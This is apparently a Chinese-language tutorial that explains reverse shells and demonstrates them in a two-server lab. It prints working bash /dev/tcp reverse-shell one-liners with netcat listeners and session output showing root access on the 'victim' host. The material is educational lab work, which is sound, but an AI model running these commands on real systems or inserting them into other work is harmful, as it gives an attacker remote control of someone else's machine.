什么是反彈shell?
反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
為什么要反彈shell?
通常用於被控端因防火牆受限、權限不足、端口被占用等情形。
舉例:假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.目標機器的ip動態改變,你不能持續控制。
3.由於防火牆等限制,對方機器只能發送請求,不能接收請求。
4.對於病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
==============================================================
參考:
https://www.zhihu.com/question/24503813 知乎:反彈shell是什么意思啊?網上看了半天都沒有相關的基礎的解釋?
反彈shell實驗
環境:兩台CentOS7.6服務器
- 攻擊端 hacker:10.201.61.194
- 受害端 victim:10.201.61.195
1. 攻擊端監聽一個端口:
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
2.受害端生成一個反彈shell:
[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
3.攻擊端已獲取到受害端的bash:
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]# //攻擊端已獲得受害端的遠程交互式shell
[root@victim ~]# hostname
hostname
victim
解釋:
1. nc -lvp 6767
-l 監聽,-v 輸出交互或出錯信息,-p 端口。nc是netcat的簡寫,可實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。
2. bash -i
-i interactive。即產生一個交互式的shell(bash)。
3. /dev/tcp/IP/PORT
特殊設備文件(Linux一切皆文件),實際這個文件是不存在的,它只是 bash
實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。
通過以下4個小測試來分析反彈shell實現過程:
(PS: 注意執行步驟順序)
測試1:
受害端:
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 //第二步
[root@victim ~]# hostname //第三步
[root@victim ~]#
攻擊端:
[root@hacker ~]# nc -lvp 5566 //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.
victim //測試1結果:實現了將受害端的標准輸出重定向到攻擊端,但是還沒實現用命令控制受害端。
測試2:
受害端:
[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566 //第二步
[root@victim ~]# hostname //測試2結果:實現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。
victim
攻擊端:
[root@hacker ~]# nc -lvp 5566 //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname //第三步(攻擊端執行命令)
測試3:
受害端:
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 //第二步
[root@victim ~]# hostname //受害端回顯命令
[root@victim ~]# id //受害端回顯命令
[root@victim ~]# hahaha //受害端回顯命令
bash: hahaha: command not found //受害端回顯命令。顯示錯誤命令的輸出。
[root@victim ~]#
攻擊端:
[root@hacker ~]# nc -lvp 5566 //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname //第三步(攻擊端執行命令)
victim
id //第四步(攻擊端執行命令)
uid=0(root) gid=0(root) groups=0(root)
hahaha //第五步(執行一個錯誤的命令)
//測試3結果:基本實現了反彈shell的功能。但是受害端的機器上依然回顯了攻擊者機器上執行的命令,且攻擊端看不到錯誤命令的輸出。
測試4(將上面三個測試結合。將標准輸入、標准輸出、錯誤輸出全都重定向到攻擊端):
受害端:
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1 (注:&>或>& 表示混合輸出,即標准輸出1 + 錯誤輸出2)
攻擊端:
[root@hacker ~]# nc -lvp 5566 //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[root@victim ~]# hostname //第三步。測試4結果:攻擊端已獲得受害端的遠程交互式shell,而且受害端沒有再回顯攻擊端輸入的命令~
hostname
victim
//PS:由測試3、測試4對比可見,標准錯誤2不僅顯示錯誤信息的作用,居然還有回顯輸入命令和終端提示符的作用~~~
總結:
本文整理了反彈shell的一些資料並通過實驗理解反彈shell原理。深入理解文件描述符和重定向才能更好弄懂反彈shell~
==============================================================
參考:
https://xz.aliyun.com/t/2549 先知社區:Linux 反彈shell(二)反彈shell的本質
https://www.freebuf.com/articles/system/153986.html FREEBUF:淺析重定向與反彈Shell命令